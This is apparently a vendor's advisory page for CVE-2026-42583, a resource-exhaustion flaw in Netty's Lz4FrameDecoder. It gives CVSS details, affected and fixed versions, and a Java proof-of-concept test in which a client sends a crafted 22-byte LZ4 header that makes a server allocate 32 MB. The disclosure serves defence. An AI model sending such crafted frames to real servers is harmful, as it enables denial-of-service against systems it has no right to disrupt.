Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2026-42583

Netty Lz4FrameDecoder is vulnerable to resource exhaustion
Back to all
CVE

CVE-2026-42583

Netty Lz4FrameDecoder is vulnerable to resource exhaustion

Summary

Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.

Details

io.netty.handler.codec.compression.Lz4FrameDecoder#decode

Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.

PoC

The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB

    @Test
    void test() throws Exception {
        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            AtomicReference<Throwable> serverError = new AtomicReference<>();
            CountDownLatch latch = new CountDownLatch(1);
            ServerBootstrap server = new ServerBootstrap()
                    .group(workerGroup)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline()
                                    .addLast(new Lz4FrameDecoder())
                                    .addLast(new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverError.set(cause.getCause());
                                            } else {
                                                serverError.set(cause);
                                            }
                                            latch.countDown();
                                        }
                                    });
                        }
                    });
            ChannelFuture serverChannel = server.bind(0).sync();
            Bootstrap client = new Bootstrap()
                    .group(workerGroup)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInboundHandlerAdapter() {
                        @Override
                        public void channelActive(ChannelHandlerContext ctx) {
                            ByteBuf buf = ctx.alloc().buffer(22, 22);
                            buf.writeLong(MAGIC_NUMBER);
                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
                            buf.writeIntLE(1);
                            buf.writeIntLE(1 << 25);
                            buf.writeIntLE(0);
                            buf.writeByte(0);
                            ctx.writeAndFlush(buf);
                            ctx.fireChannelActive();
                        }
                    });
            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();
            assertTrue(latch.await(10, TimeUnit.SECONDS));
            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());
            clientChannel.channel().close();
            serverChannel.channel().close();
        } finally {
            workerGroup.shutdownGracefully();
        }
    }

Impact

Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.

Package Versions Affected

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
-
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
C
H
U
7.5
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Related Resources

No items found.

References

https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6, https://github.com/netty/netty

Severity

7.5

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
7.5
EPSS Probability
0%
EPSS Percentile
0%
Introduced Version
4.2.0.Alpha3,4.1.0.Beta2,4.2.0.Alpha1,5.0.0.Alpha2,4.1.65.Final,0
Fix Available
4.2.13.Final,4.1.133.Final,4.2.0.Alpha3,8.8.24-r1,9.4.1-r0,15.0.22-r7,16.1.3-r2,26.6.1-r2,1.22.0-r4,2026.01.4-r1,2.19.4-r14,3.6.1-r6

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading